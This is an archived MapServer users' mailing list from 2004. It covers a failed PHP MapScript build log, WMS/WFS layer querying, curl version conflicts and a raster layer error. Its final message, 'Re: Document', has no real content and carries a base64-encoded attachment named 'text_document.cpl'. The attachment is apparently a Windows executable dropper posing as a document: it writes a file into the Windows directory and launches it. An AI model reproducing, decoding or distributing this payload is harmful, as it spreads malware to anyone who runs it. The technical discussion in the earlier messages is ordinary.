/usr/local/include/php/main/php.h:175, from php_mapscript_util.h:61, from php_mapscript_util.c:104: /usr/local/include/php/main/php3_compat.h:4: parse error before "pval" /usr/local/include/php/main/php3_compat.h:4: warning: type defaults to `int' in declaration of `pval' /usr/local/include/php/main/php3_compat.h:4: warning: data definition has no type or storage class /usr/local/include/php/main/php.h:176:24: zend_alloc.h: No such file or directory /usr/local/include/php/main/php.h:177:24: zend_stack.h: No such file or directory /usr/local/include/php/main/php.h:197:31: regex/regex_extra.h: No such file or directory In file included from /usr/local/include/php/main/php.h:236, from php_mapscript_util.h:61, from php_mapscript_util.c:104: /usr/local/include/php/main/spprintf.h:38: warning: return type defaults to `int' /usr/local/include/php/main/spprintf.h: In function `BEGIN_EXTERN_C': /usr/local/include/php/main/spprintf.h:38: parse error before "ZEND_ATTRIBUTE_FORMAT" /usr/local/include/php/main/spprintf.h:40: parse error before "ZEND_ATTRIBUTE_FORMAT" /usr/local/include/php/main/spprintf.h:40: declaration for parameter `vspprintf' but no such parameter /usr/local/include/php/main/spprintf.h:38: declaration for parameter `spprintf' but no such parameter /usr/local/include/php/main/php.h:363:29: main/php_output.h: No such file or directory In file included from /usr/local/include/php/main/php.h:383, from php_mapscript_util.h:61, from php_mapscript_util.c:104: /usr/local/include/php/main/php_streams.h: At top level: /usr/local/include/php/main/php_streams.h:106: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:133: parse error before "zval" /usr/local/include/php/main/php_streams.h:133: warning: no semicolon at end of struct or union /usr/local/include/php/main/php_streams.h:149: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:150: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:151: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:152: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:157: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:158: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:159: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:160: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:166: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:168: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:170: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:172: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:175: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:192: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:194: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:195: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:196: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:197: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:248: parse error before "zval" /usr/local/include/php/main/php_streams.h:248: warning: no semicolon at end of struct or union /usr/local/include/php/main/php_streams.h:279: parse error before '}' token /usr/local/include/php/main/php_streams.h:287: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:293: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:294: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:295: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:303: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:306: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:307: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:308: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:327: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:340: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:345: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:349: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:352: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:355: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:359: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:363: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:366: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:369: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:372: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:375: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:381: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:384: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:387: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:390: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:392: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:397: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:425: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:432: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:436: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:442: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:445: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:448: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:451: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:454: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:457: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:460: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:478: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:527: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:528: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:529: warning: type defaults to `int' in declaration of `ZEND_MODULE_DEACTIVATE_D' /usr/local/include/php/main/php_streams.h:529: warning: parameter names (without types) in function declaration /usr/local/include/php/main/php_streams.h:529: warning: data definition has no type or storage class /usr/local/include/php/main/php_streams.h:531: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:532: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:533: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:534: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:535: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:541: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:552: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:558: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:562: parse error before "_php_stream_open_wrapper_as_file_handle" /usr/local/include/php/main/php_streams.h:562: parse error before "zend_file_handle" /usr/local/include/php/main/php_streams.h:562: warning: type defaults to `int' in declaration of `_php_stream_open_wrapper_as_file_handle' /usr/local/include/php/main/php_streams.h:562: warning: data definition has no type or storage class /usr/local/include/php/main/php_streams.h:574: parse error before "zval" /usr/local/include/php/main/php_streams.h:576: parse error before "zval" /usr/local/include/php/main/php_streams.h:598: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:630: parse error before '*' token /usr/local/include/php/main/php_streams.h:630: warning: type defaults to `int' in declaration of `php_stream_get_url_stream_wrappers_hash' /usr/local/include/php/main/php_streams.h:630: warning: data definition has no type or storage class In file included from /usr/local/include/php/main/php.h:384, from php_mapscript_util.h:61, from php_mapscript_util.c:104: /usr/local/include/php/main/php_memory_streams.h:40: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_memory_streams.h:41: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_memory_streams.h:42: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_memory_streams.h:44: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_memory_streams.h:45: parse error before "TSRMLS_DC" In file included from /usr/local/include/php/main/fopen_wrappers.h:24, from /usr/local/include/php/main/php.h:385, from php_mapscript_util.h:61, from php_mapscript_util.c:104: /usr/local/include/php/main/php_globals.h:23:26: zend_globals.h: No such file or directory In file included from /usr/local/include/php/main/fopen_wrappers.h:24, from /usr/local/include/php/main/php.h:385, from php_mapscript_util.h:61, from php_mapscript_util.c:104: /usr/local/include/php/main/php_globals.h:25: warning: return type defaults to `int' /usr/local/include/php/main/php_globals.h:25: redefinition of `BEGIN_EXTERN_C' /usr/local/include/php/main/spprintf.h:40: `BEGIN_EXTERN_C' previously defined here /usr/local/include/php/main/php_globals.h: In function `BEGIN_EXTERN_C': /usr/local/include/php/main/php_globals.h:25: storage class specified for parameter `php_core_globals' /usr/local/include/php/main/php_globals.h:32: storage class specified for parameter `core_globals' /usr/local/include/php/main/php_globals.h:43: warning: empty declaration /usr/local/include/php/main/php_globals.h:48: warning: structure defined inside parms /usr/local/include/php/main/php_globals.h:48: storage class specified for parameter `arg_separators' /usr/local/include/php/main/php_globals.h:51: parse error before "zend_bool" /usr/local/include/php/main/php_globals.h:51: warning: no semicolon at end of struct or union /usr/local/include/php/main/php_globals.h:48: declaration for parameter `arg_separators' but no such parameter /usr/local/include/php/main/php_globals.h:32: parameter `core_globals' has incomplete type /usr/local/include/php/main/php_globals.h:32: declaration for parameter `core_globals' but no such parameter /usr/local/include/php/main/php_globals.h:25: parameter `php_core_globals' has incomplete type /usr/local/include/php/main/php_globals.h:25: declaration for parameter `php_core_globals' but no such parameter In file included from php_mapscript_util.h:61, from php_mapscript_util.c:104: /usr/local/include/php/main/php.h:389:30: tsrm_virtual_cwd.h: No such file or directory /usr/local/include/php/main/php.h:391:28: zend_constants.h: No such file or directory In file included from php_mapscript_util.c:104: php_mapscript_util.h: At top level: php_mapscript_util.h:128: parse error before '*' token php_mapscript_util.h:143: parse error before '*' token php_mapscript_util.h:147: parse error before '*' token php_mapscript_util.h:150: parse error before '*' token php_mapscript_util.h:153: parse error before '*' token php_mapscript_util.h:156: parse error before '*' token php_mapscript_util.h:158: parse error before '*' token php_mapscript_util.h:160: parse error before '*' token php_mapscript_util.h:162: parse error before '*' token php_mapscript_util.h:164: parse error before '*' token php_mapscript_util.h:166: parse error before '*' token php_mapscript_util.h:167: parse error before '*' token php_mapscript_util.h:169: parse error before '*' token php_mapscript_util.h:171: parse error before '*' token php_mapscript_util.h:174: parse error before '*' token php_mapscript_util.c: In function `_phpms_report_mapserver_error': php_mapscript_util.c:122: warning: implicit declaration of function `zend_error' php_mapscript_util.c: At top level: php_mapscript_util.c:135: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_handle2': php_mapscript_util.c:140: `phandle' undeclared (first use in this function) php_mapscript_util.c:140: (Each undeclared identifier is reported only once php_mapscript_util.c:140: for each function it appears in.) php_mapscript_util.c:143: `pObj' undeclared (first use in this function) php_mapscript_util.c:143: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:145: `E_ERROR' undeclared (first use in this function) php_mapscript_util.c:148: warning: implicit declaration of function `zend_hash_find' php_mapscript_util.c:150: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:159: warning: implicit declaration of function `zend_list_find' php_mapscript_util.c:161: `handle_type1' undeclared (first use in this function) php_mapscript_util.c:161: `handle_type2' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:177: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_handle': php_mapscript_util.c:180: `pObj' undeclared (first use in this function) php_mapscript_util.c:180: `handle_type' undeclared (first use in this function) php_mapscript_util.c:180: `list' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:187: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_handle2': php_mapscript_util.c:191: `phandle' undeclared (first use in this function) php_mapscript_util.c:195: `pObj' undeclared (first use in this function) php_mapscript_util.c:195: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:197: `err_type' undeclared (first use in this function) php_mapscript_util.c:200: `property_name' undeclared (first use in this function) php_mapscript_util.c:202: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:209: `IS_RESOURCE' undeclared (first use in this function) php_mapscript_util.c:211: `handle_type1' undeclared (first use in this function) php_mapscript_util.c:211: `handle_type2' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:225: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_handle': php_mapscript_util.c:229: `pObj' undeclared (first use in this function) php_mapscript_util.c:229: `property_name' undeclared (first use in this function) php_mapscript_util.c:230: `handle_type' undeclared (first use in this function) php_mapscript_util.c:231: `list' undeclared (first use in this function) php_mapscript_util.c:231: `err_type' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:237: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_string': php_mapscript_util.c:240: `phandle' undeclared (first use in this function) php_mapscript_util.c:242: `pObj' undeclared (first use in this function) php_mapscript_util.c:242: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:244: `err_type' undeclared (first use in this function) php_mapscript_util.c:248: `property_name' undeclared (first use in this function) php_mapscript_util.c:249: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:256: warning: implicit declaration of function `convert_to_string' php_mapscript_util.c: At top level: php_mapscript_util.c:263: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_long': php_mapscript_util.c:266: `phandle' undeclared (first use in this function) php_mapscript_util.c:268: `pObj' undeclared (first use in this function) php_mapscript_util.c:268: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:270: `err_type' undeclared (first use in this function) php_mapscript_util.c:273: `property_name' undeclared (first use in this function) php_mapscript_util.c:275: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:282: `IS_RESOURCE' undeclared (first use in this function) php_mapscript_util.c:289: warning: implicit declaration of function `convert_to_long' php_mapscript_util.c: At top level: php_mapscript_util.c:296: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_double': php_mapscript_util.c:299: `phandle' undeclared (first use in this function) php_mapscript_util.c:301: `pObj' undeclared (first use in this function) php_mapscript_util.c:301: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:303: `err_type' undeclared (first use in this function) php_mapscript_util.c:306: `property_name' undeclared (first use in this function) php_mapscript_util.c:308: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:315: warning: implicit declaration of function `convert_to_double' php_mapscript_util.c: At top level: php_mapscript_util.c:322: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_resource': php_mapscript_util.c:325: `phandle' undeclared (first use in this function) php_mapscript_util.c:327: `pObj' undeclared (first use in this function) php_mapscript_util.c:327: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:329: `err_type' undeclared (first use in this function) php_mapscript_util.c:332: `property_name' undeclared (first use in this function) php_mapscript_util.c:334: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:341: `IS_RESOURCE' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:358: parse error before '*' token php_mapscript_util.c: In function `_phpms_set_property_string': php_mapscript_util.c:361: `phandle' undeclared (first use in this function) php_mapscript_util.c:363: `pObj' undeclared (first use in this function) php_mapscript_util.c:363: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:365: `err_type' undeclared (first use in this function) php_mapscript_util.c:368: `property_name' undeclared (first use in this function) php_mapscript_util.c:370: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:377: warning: implicit declaration of function `SEPARATE_ZVAL' php_mapscript_util.c:378: warning: implicit declaration of function `zval_dtor' php_mapscript_util.c:379: warning: implicit declaration of function `ZVAL_STRING' php_mapscript_util.c:379: `szNewValue' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:387: parse error before '*' token php_mapscript_util.c: In function `_phpms_set_property_null': php_mapscript_util.c:389: `phandle' undeclared (first use in this function) php_mapscript_util.c:391: `pObj' undeclared (first use in this function) php_mapscript_util.c:391: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:393: `err_type' undeclared (first use in this function) php_mapscript_util.c:396: `property_name' undeclared (first use in this function) php_mapscript_util.c:398: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:407: warning: implicit declaration of function `ZVAL_NULL' php_mapscript_util.c: At top level: php_mapscript_util.c:415: parse error before '*' token php_mapscript_util.c: In function `_phpms_set_property_long': php_mapscript_util.c:418: `phandle' undeclared (first use in this function) php_mapscript_util.c:420: `pObj' undeclared (first use in this function) php_mapscript_util.c:420: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:422: `err_type' undeclared (first use in this function) php_mapscript_util.c:425: `property_name' undeclared (first use in this function) php_mapscript_util.c:427: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:436: warning: implicit declaration of function `ZVAL_LONG' php_mapscript_util.c:436: `lNewValue' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:444: parse error before '*' token php_mapscript_util.c: In function `_phpms_set_property_double': php_mapscript_util.c:447: `phandle' undeclared (first use in this function) php_mapscript_util.c:449: `pObj' undeclared (first use in this function) php_mapscript_util.c:449: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:451: `err_type' undeclared (first use in this function) php_mapscript_util.c:454: `property_name' undeclared (first use in this function) php_mapscript_util.c:456: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:465: warning: implicit declaration of function `ZVAL_DOUBLE' php_mapscript_util.c:465: `dNewValue' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:473: parse error before '*' token php_mapscript_util.c: In function `_phpms_add_property_object': php_mapscript_util.c:477: warning: implicit declaration of function `add_property_zval' php_mapscript_util.c:477: `pObj' undeclared (first use in this function) php_mapscript_util.c:477: `property_name' undeclared (first use in this function) php_mapscript_util.c:477: `pObjToAdd' undeclared (first use in this function) php_mapscript_util.c:477: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:479: `err_type' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:496: parse error before '*' token php_mapscript_util.c: In function `_phpms_object_init': php_mapscript_util.c:504: `zend_class_entry' undeclared (first use in this function) php_mapscript_util.c:504: `new_class_entry_ptr' undeclared (first use in this function) php_mapscript_util.c:505: parse error before ')' token php_mapscript_util.c:507: warning: implicit declaration of function `object_init_ex' php_mapscript_util.c:507: `return_value' undeclared (first use in this function) php_mapscript_util.c:508: warning: implicit declaration of function `add_property_resource' php_mapscript_util.c:508: `handle_id' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:530: parse error before '*' token php_mapscript_util.c: In function `_php_extract_associative_array': php_mapscript_util.c:536: `zval' undeclared (first use in this function) php_mapscript_util.c:536: `value' undeclared (first use in this function) php_mapscript_util.c:541: warning: implicit declaration of function `zend_hash_internal_pointer_reset' php_mapscript_util.c:541: `php' undeclared (first use in this function) php_mapscript_util.c:542: warning: implicit declaration of function `zend_hash_get_current_data' php_mapscript_util.c:542: `SUCCESS' undeclared (first use in this function) php_mapscript_util.c:543: warning: implicit declaration of function `zend_hash_move_forward' php_mapscript_util.c:546: warning: implicit declaration of function `convert_to_string_ex' php_mapscript_util.c:548: warning: implicit declaration of function `zend_hash_get_current_key' php_mapscript_util.c:550: `HASH_KEY_IS_STRING' undeclared (first use in this function) php_mapscript_util.c:551: `array' undeclared (first use in this function) php_mapscript_util.c:552: warning: implicit declaration of function `Z_STRVAL_PP' make[1]: *** [php_mapscript_util.o] Error 1 make[1]: Leaving directory `/usr/local/src/mapserver-4.2.0/mapscript/php3' __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From stigmata at blackangel.net Thu Jun 3 01:34:09 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Thu, 3 Jun 2004 01:34:09 -0700 (PDT) Subject: [Mapserver-users] querying WMS layer In-Reply-To: <13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com> <13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> Message-ID: <20040603011801.B31218@osiris.deathkeep.com> > You can query your "server-side" layer in most other WMS clients, such as > Chameleon, but these don't go through Mapserver WMS client for > GetFeatureInfo but call the WMS server directly. > A technical story, but I hope you get the drift. Lemme rephrase to make sure I really get it: "MapServer as a WMS server can be queried for feature info. However, there's a shortcoming in MapServer's WMS-client so that WMS layers cannot be queried in this fashion." Is that right? If so, is there some other prescribed way of displaying a WMS layer, and being able to query that layer? Is this cascading thing an issue for MapServer's WFS implementations as well? Could a MapServer WFS-client layer be queried? From moeller at basis5.de Thu Jun 3 01:42:43 2004 From: moeller at basis5.de (=?ISO-8859-1?Q?Lars_M=F6ller?=) Date: Thu, 03 Jun 2004 10:42:43 +0200 Subject: [Mapserver-users] problems with curl In-Reply-To: <40BE6E53.6010305@dmsolutions.ca> References: <40BDF44B.4050200@basis5.de> <40BE05A4.6080701@basis5.de> <40BE6E53.6010305@dmsolutions.ca> Message-ID: <40BEE483.20309@basis5.de> ok. I removed the older copy of curl. so there is no problem anymore. thanks Daniel Morissette schrieb: > Lars M?ller wrote: > >> >> hallo, >> >> thanks for your help, but >> with the spezified curl-config-path (which is correct) >> I get the same error. >> >> ./configure --with-proj=/usr/local/ >> --with-gdal=/usr/local/bin/gdal-config >> --with-ogr=/usr/local/bin/gdal-config --disable-ignore-missing-data >> --with-wmsclient --with-wfsclient --with-ttf=/usr >> --with-curl-config=/usr/local/bin/curl-config >> > > It's probably that you have another (older) copy of curl on your system > somewhere. If you are using a RedHat system then do you can find out if > the curl RPMs are installed using > rpm -qa | grep curl > If they are installed then you need to remove them. On other systems use > the appropriate tools to find out if curl was previously installed and > uninstall it. > > Daniel -- _____________________________ dipl.-ing. lars m?ller basis5 - webtechnologie m?ller und zipp ingenieure und partner malsburgstrasse 14 34119 kassel tel 0561.7660348 fax 0561.7660358 email moeller at basis5.de www.basis5.de _____________________________ From bartvde at xs4all.nl Thu Jun 3 03:09:44 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Thu, 3 Jun 2004 12:09:44 +0200 (CEST) Subject: [Mapserver-users] querying WMS layer In-Reply-To: <20040603011801.B31218@osiris.deathkeep.com> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com><13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> <20040603011801.B31218@osiris.deathkeep.com> Message-ID: <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> Hi Gregor, answers inline. > >> You can query your "server-side" layer in most other WMS clients, such >> as >> Chameleon, but these don't go through Mapserver WMS client for >> GetFeatureInfo but call the WMS server directly. >> A technical story, but I hope you get the drift. > > Lemme rephrase to make sure I really get it: "MapServer as a WMS server > can be queried for feature info. However, there's a shortcoming in > MapServer's WMS-client so that WMS layers cannot be queried in this > fashion." Is that right? Yes this is right. I would not call it a shortcoming though (although I have called it a shortcoming in the past), but an implementation decision. > > If so, is there some other prescribed way of displaying a WMS layer, and > being able to query that layer? Not that I know off, you could do some PHP/Mapscript though to get the connection of the layer (i.e. the URL of the WMS server) and build the GetFeatureInfo request yourself. This is the approach that Chameleon follows. > > Is this cascading thing an issue for MapServer's WFS implementations > as well? Could a MapServer WFS-client layer be queried? I just tried this and you can query a LAYER of CONNECTIONTYPE WFS. So no problems there, but that's because this is a GML "datastore" just as shapefile is a "datastore". With CONNECTIONTYPE WMS you cannot access the data itself as a (WMS) client, that's the big difference. Best regards, Bart > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From stigmata at blackangel.net Thu Jun 3 03:27:22 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Thu, 3 Jun 2004 03:27:22 -0700 (PDT) Subject: [mapserver-users] querying WMS layer / WFS reprise In-Reply-To: <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com><13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> <20040603011801.B31218@osiris.deathkeep.com> <13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> Message-ID: <20040603031621.V32465@osiris.deathkeep.com> On Thu, 3 Jun 2004 bartvde at xs4all.nl wrote: > > Is this cascading thing an issue for MapServer's WFS implementations > > as well? Could a MapServer WFS-client layer be queried? > I just tried this and you can query a LAYER of CONNECTIONTYPE WFS. So no > problems there, but that's because this is a GML "datastore" just as > shapefile is a "datastore". With CONNECTIONTYPE WMS you cannot access the > data itself as a (WMS) client, that's the big difference. Excellent, that's what I would have expected, since it's just vector data by the time the client/displaying MapServer sees it. Thanks for confirming that for me - you saved me an hour or two. I spent the last day experimenting with WFS, since that's what we *really* want to be sending instead of images, and came to the conclusion (that seems to have been confirmed by some others on the list) that WFS is incredibly slow (as in, several minutes) because of the GML encoding, which made it unsuitable for use in dynamic map layers. WFS' slowness surprised me: should a feature list being sent to the client never contain more than several items? Or is this a "problem" with MapServer's implementation of a WFS server? Would another WFS server (GeoServer?) do it faster and be able to send more items in a reasonable period? From moeller at basis5.de Thu Jun 3 03:46:25 2004 From: moeller at basis5.de (=?ISO-8859-1?Q?Lars_M=F6ller?=) Date: Thu, 03 Jun 2004 12:46:25 +0200 Subject: [Mapserver-users] no tiff layer Message-ID: <40BF0181.6020503@basis5.de> hi, I tried the example3-3.htm with the layer landsat. I get this error: msDrawMap(): Image handling error. Failed to draw layer named 'landsat'. msDrawRaster(): Image handling error. Unrecognized or unsupported image format drawEPP(): Image handling error. /usr/local/httpd/htdocs/tmp/108625921164530.img.tmp is not an EPPL file. whenn I configure I get this error: checking for XpmFreeXpmImage in -lXpm... no XPM (libXpm) library cannot be found, possibly needed for GD could the missing libXpm bring the error? I tried to installe this libXpm, but dosen't work. has somenone an idea? thanks lars m?ller _____________________________ dipl.-ing. lars m?ller basis5 - webtechnologie m?ller und zipp ingenieure und partner malsburgstrasse 14 34119 kassel tel 0561.7660348 fax 0561.7660358 email moeller at basis5.de www.basis5.de _____________________________ From TMitchell at lignum.com Thu Jun 3 05:08:44 2004 From: TMitchell at lignum.com (TMitchell) Date: Thu, 03 Jun 2004 06:08:44 -0600 Subject: [Mapserver-users] Re: Document Message-ID: ----------wmdmirpvdzrznzjggibw Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------wmdmirpvdzrznzjggibw Content-Type: application/octet-stream; name="text_document.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="text_document.cpl" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAA6H4AAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA AAAAAAAAAAAAAEAAAEIAAAAAAAAAAOhOAAAAMAAA6E4AAAAGAAAAAAAAAAAAAAAAAAAgAADg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA 6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0 b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4 AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 